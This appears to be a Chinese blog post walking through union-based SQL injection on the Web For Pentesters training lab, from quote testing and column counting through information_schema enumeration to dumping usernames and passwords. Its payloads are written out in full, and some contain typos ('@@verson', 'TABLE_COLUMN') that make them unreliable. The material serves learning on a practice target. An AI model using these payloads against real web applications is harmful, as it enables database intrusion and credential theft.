zoukankan      html  css  js  c++  java
  • 网络安全知识--PHP代码审计/Web For Pantesters 的 SQL injection

    SQL 注入一般流程

    1. 判断有无注入
      单引号判断: ?name=root' 对应语句 select * from table where name='root'' 不符合语法规范,报错,说明有注入
      and,or判断....很多,网上搜

    order by 判断字段数 ,order by 5可以 6不行,说明5个字段
    得到字段数后union select得到可以输出的字段: union select ,a union b 要求a,b字段数相同。
    比如 ' union select 1,2,3,4,5 %23, 输出 1,3,5 说明这三个字段可以输出

    ' 单引号,%27 (16位ascii)
    %23 #,注释
    --+ 忽略下一个符号

    利用可以输出的字段获取信息
    下面用 Web For Pantesters 的 SQL injection 的example 1为例

    example 1

    1.

    ?name=root' 出错无输出,说明可以注入

    2.

    name=root' order by 5 --+ 正常
    6--+ 出错,说明5个字段

    root' union select 1,2,3,4,5 发现输出为1,2,3,可以用1,2,3列输出信息。 (这里不一定用12345,78945也行,无所谓)

    3.查看基本信息

    database() 数据库名,information_schema.tables 存储元数据, ...
    利用union select 查询基本信息。

    root' union select @@verson,@@datadir,database(),4,5
    

    因为union 要求列数相同,故除了 @@verson,@@datadir,database() 外还要有4,5。这样得到version,路径,数据库名

    查询表名
    数据库名为 exercises,转化为16进制XXX
    然后 union select TABLE_NAME,2,3,4,5 from information_schema.tables where TABLE_SCHEMA=XXX %23.... //(数据库名的16进制),注意注释掉后面

    得到表名users。查询column name。
    union select TABLE_COLUMN,2,3,4,5 from information_schema.columns where TABLE_NAME=XXX %23.... // 表名的16进制

    4.

    输出三项,得到name,password
    ' union select id,name,passwd,4,5 from users %23

    有时候可以用 group_concat,concat_ws ,括号等输出更多列的信息。(比如在3列中输出5列信息)

  • 相关阅读:
    web测试用例表(自用)
    程序员技术练级攻略
    整理:Google jQuery 引用地址大全和方法(转)
    开发神器之--Sublime Text
    Intellij编译时报“java: System Java Compiler was not found in classpath” 解决办法
    JAVA编译异常处理:java.lang.OutOfMemoryError: PermGen space
    mongo中查询Array类型的字段中元素个数
    BigDecimal进行除法divide运算注意事项
    用来代替本机IP的万能IP:127.0.0.1
    oracle中sys和System的默认密码
  • 原文地址:https://www.cnblogs.com/lqerio/p/13609755.html
Copyright © 2011-2022 走看看